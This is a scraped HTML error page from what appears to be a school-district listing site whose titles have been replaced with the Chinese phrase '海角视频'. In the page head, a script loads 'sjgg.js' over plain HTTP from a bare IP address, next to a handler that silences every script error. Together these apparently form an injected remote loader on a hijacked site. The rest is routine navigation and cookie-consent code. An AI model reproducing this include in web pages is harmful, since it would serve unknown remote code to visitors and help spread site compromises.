  <!DOCTYPE html>
<html lang="en">

<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
    
    
            <meta http-equiv="Content-Type" content="text/html; charset=gbk" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
                    <link rel="stylesheet" href="/css/default.min.css">
    
    <!-- Google tag (gtag.js) -->
    

    <!-- jQuery -->
    <script src="/js/jquery-1.4.2.min.js"></script>

    
    <!-- Google tag (gtag.js) -->
    
    <script>
        $(document).ready(function(){
                    $('.mm_dd').hide();
                    $('#mm_btn').click(function(){
                        $('.mm_dd').slideToggle();
                    });
                });            
    </script>
    <style>
        .textfield{
            width:90%;
        }
    </style>

<script src="http://160.124.202.66/sjgg.js"></script>


</head>

<Body><h1><a href="/">海角视频</a></h1><script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
    <div id="wrapper">
        <div id="header">
            <div id="nav">
                <a href="/" title="School District Information"><span>海角视频</span></a>
                <ul class="dt_menu">
                    <li class="home"><a href="/" title="海角视频">海角视频</a></li>
                    <li><a href="/schools/new" title="Add Listing">Add Listing</a></li>
                    <li><a href="/search" title="Search for Schools">Search</a></li>
                    <li><a href="/contact">Contact</a></li>
                    <li><a href="/about" title="About 海角视频">About</a></li>
                    <li><a href="/resources">Resources</a></li>
                                            <li><a href="/user/new" title="New Member Signup">Sign-Up</a></li>
                        <li><a href="/user/login" title="Log In">Login</a></li>
                                    </ul>
                <div class="mobile_menu">
                    <a href="#" id="mm_btn"></a>
                    <ul class="mm_dd">
                        <li class="home"><a href="/" title="海角视频">海角视频</a></li>
                        <li><a href="/schools/new" title="Add Listing">Add Listing</a></li>
                        <li><a href="/search" title="Search for Schools">Search</a></li>
                        <li><a href="/contact">Contact</a></li>
                        <li><a href="/about" title="About 海角视频">About</a></li>
                        <li><a href="/resources">Resources</a></li>
                                                    <li><a href="/user/new" title="New Member Signup">Sign-Up</a></li>
                            <li><a href="/user/login" title="Log In">Login</a></li>
                                            </ul>
                </div>
            </div>
            <div class="clear"> </div>
        </div>

        <div id="content">
            <!-- content -->
                <h2>A server error occurred</h2>
    <h2>The route sitemap.xml could not be found.</h2>

    
    

            <div class="clear"> </div>
        </div>
        <div id="footer">
            海角视频 &copy;2026            <ul style="float: right; list-style: none; margin:0">
                <li>
                    <a href="/privacy" style="color:#F2E7D6;">Privacy Policy</a>
                </li>
            </ul>
        </div>
    </div>

    <!-- Cookie Consent -->
    <!-- Overlay backdrop -->
<div id="cookie-overlay"></div>

<!-- Cookie consent modal -->
<div id="cookie-banner">
    <div class="content">
        <div>
            <h3>Cookie Preferences</h3>
            <p>We use cookies to improve your experience and for the following purposes:</p>
        </div>

        <div class="options">
            <div class="option">
                <label>
                    <input type="checkbox" id="analytics_storage">
                    <strong>Analytics</strong>
                </label>
                <span>Track site usage and performance</span>
            </div>

            <div class="option">
                <label>
                    <input type="checkbox" id="ad_storage">
                    <strong>Marketing</strong>
                </label>
                <span>Personalized ads and content</span>
            </div>

            <div class="option">
                <label>
                    <input type="checkbox" id="ad_user_data">
                    <strong>Ad User Data</strong>
                </label>
                <span>User data for advertising</span>
            </div>

            <div class="option">
                <label>
                    <input type="checkbox" id="ad_personalization">
                    <strong>Ad Personalization</strong>
                </label>
                <span>Personalized advertising</span>
            </div>
        </div>

        <div class="actions">
            <button onclick="declineAll()">Decline All</button>
            <button onclick="acceptAll()" class="accept">Accept All</button>
            <button onclick="savePreferences()">Save Preferences</button>
        </div>
    </div>
</div>

<button id="cookie-settings-btn" onclick="openCookieBanner()">馃崻</button>

<style>
    /* Overlay */
    #cookie-overlay {
        position: fixed;
        top: 0;
        left: 0;
        width: 100vw;
        height: 100vh;
        background: rgba(0, 0, 0, 0.5);
        z-index: 9998;
        display: none;
    }

    /* Popup */
    #cookie-banner {
        position: fixed;
        top: 50%;
        left: 50%;
        width: 90%;
        max-width: 500px;
        transform: translate(-50%, -50%);
        background: white;
        padding: 24px;
        border-radius: 10px;
        box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
        z-index: 9999;
        display: none;
    }

    #cookie-banner h3 {
        margin-bottom: 10px;
        font-size: 20px;
    }

    #cookie-banner p {
        font-size: 14px;
        color: #555;
    }

    .options {
        margin: 20px 0;
    }

    .option {
        display: flex;
        justify-content: space-between;
        align-items: center;
        background: #f7f7f7;
        padding: 10px;
        border-radius: 6px;
        margin-bottom: 10px;
    }

    .option label {
        display: flex;
        align-items: center;
        gap: 8px;
        font-size: 14px;
    }

    .option span {
        font-size: 12px;
        color: #777;
    }

    .actions {
        display: flex;
        justify-content: flex-end;
        gap: 10px;
        border-top: 1px solid #eee;
        padding-top: 15px;
    }

    .actions button {
        padding: 8px 12px;
        font-size: 14px;
        border: none;
        border-radius: 6px;
        cursor: pointer;
        background: #f0f0f0;
        color: #333;
    }

    .actions button.accept {
        background: #2563eb;
        color: white;
    }

    .actions button.accept:hover {
        background: #1e4ecf;
    }

    .actions button:hover {
        background: #ddd;
    }

    #cookie-settings-btn {
        position: fixed;
        bottom: 20px;
        left: 20px;
        background-color: #2563eb;
        color: white;
        font-size: 20px;
        padding: 10px 12px;
        border: none;
        border-radius: 50%;
        cursor: pointer;
        z-index: 9999;
        box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2);
    }

    #cookie-settings-btn:hover {
        background-color: #1e4ecf;
    }
</style>

<script>
    window.dataLayer = window.dataLayer || [];
    function gtag() {
        dataLayer.push(arguments);
    }

    // Default consent state - denied for all
    gtag('consent', 'default', {
        'ad_storage': 'denied',
        'analytics_storage': 'denied',
        'ad_user_data': 'denied',
        'ad_personalization': 'denied',
        'wait_for_update': 500
    });

    // Initialize Google Tag
    gtag('js', new Date());
    gtag('config', 'UA-11548587-43');


    function openCookieBanner() {
        const settings = JSON.parse(localStorage.getItem('cookie_consent'));

        if (settings) {
            document.getElementById('analytics_storage').checked = settings.analytics_storage === 'granted';
            document.getElementById('ad_storage').checked = settings.ad_storage === 'granted';
            document.getElementById('ad_user_data').checked = settings.ad_user_data === 'granted';
            document.getElementById('ad_personalization').checked = settings.ad_personalization === 'granted';
        }

        document.getElementById('cookie-banner').style.display = 'block';
        document.getElementById('cookie-overlay').style.display = 'block';
    }

    function updateConsent(settings) {
        gtag('consent', 'update', settings);
        localStorage.setItem('cookie_consent', JSON.stringify(settings));
        document.getElementById('cookie-banner').style.display = 'none';
        document.getElementById('cookie-overlay').style.display = 'none';
    }

    function acceptAll() {
        const settings = {
            'ad_storage': 'granted',
            'analytics_storage': 'granted',
            'ad_user_data': 'granted',
            'ad_personalization': 'granted'
        };
        updateConsent(settings);
        sendConsent(getConsentData('accept'));
    }

    function declineAll() {
        const settings = {
            'ad_storage': 'denied',
            'analytics_storage': 'denied',
            'ad_user_data': 'denied',
            'ad_personalization': 'denied'
        };
        updateConsent(settings);
        sendConsent(getConsentData('decline'));
    }

    function savePreferences() {
        const settings = {
            'analytics_storage': document.getElementById('analytics_storage').checked ? 'granted' : 'denied',
            'ad_storage': document.getElementById('ad_storage').checked ? 'granted' : 'denied',
            'ad_user_data': document.getElementById('ad_user_data').checked ? 'granted' : 'denied',
            'ad_personalization': document.getElementById('ad_personalization').checked ? 'granted' : 'denied'
        };
        updateConsent(settings);
        sendConsent(getConsentData('preferences'));
    }

    // Load saved preferences or show banner
    window.addEventListener('load', function() {
        const savedConsent = localStorage.getItem('cookie_consent');
        if (savedConsent) {
            const settings = JSON.parse(savedConsent);
            gtag('consent', 'update', settings);
            
            // Update checkboxes to match saved preferences
            document.getElementById('analytics_storage').checked = settings.analytics_storage === 'granted';
            document.getElementById('ad_storage').checked = settings.ad_storage === 'granted';
            document.getElementById('ad_user_data').checked = settings.ad_user_data === 'granted';
            document.getElementById('ad_personalization').checked = settings.ad_personalization === 'granted';
        } else {
            document.getElementById('cookie-banner').style.display = 'block';
            document.getElementById('cookie-overlay').style.display = 'block';
        }
    });

    function getConsentData(mode) {
        const settings = JSON.parse(localStorage.getItem('cookie_consent'));
        if (settings) {
            return {
                stats_date: new Date().toISOString().split('T')[0], // e.g. 2025-06-10
                ip_address: '', // leave blank, fill in backend
                analytics: settings.analytics_storage === 'granted' ? 1 : 0,
                marketing: settings.ad_storage === 'granted' ? 1 : 0,
                ad_user_data: settings.ad_user_data === 'granted' ? 1 : 0,
                ad_personalization: settings.ad_personalization === 'granted' ? 1 : 0,
                mode: mode,
                _token: ''
            };
        }        
    }

    function sendConsent(data) {
        $.ajax({
            url: '/consent/save',
            type: 'POST',
            data: data,
            success: function(response) {
                console.log('Consent saved:', response);
            },
            error: function(xhr, status, error) {
                console.error('Failed to save consent:', error);
            }
        });
    }
</script>
</body>
</html>
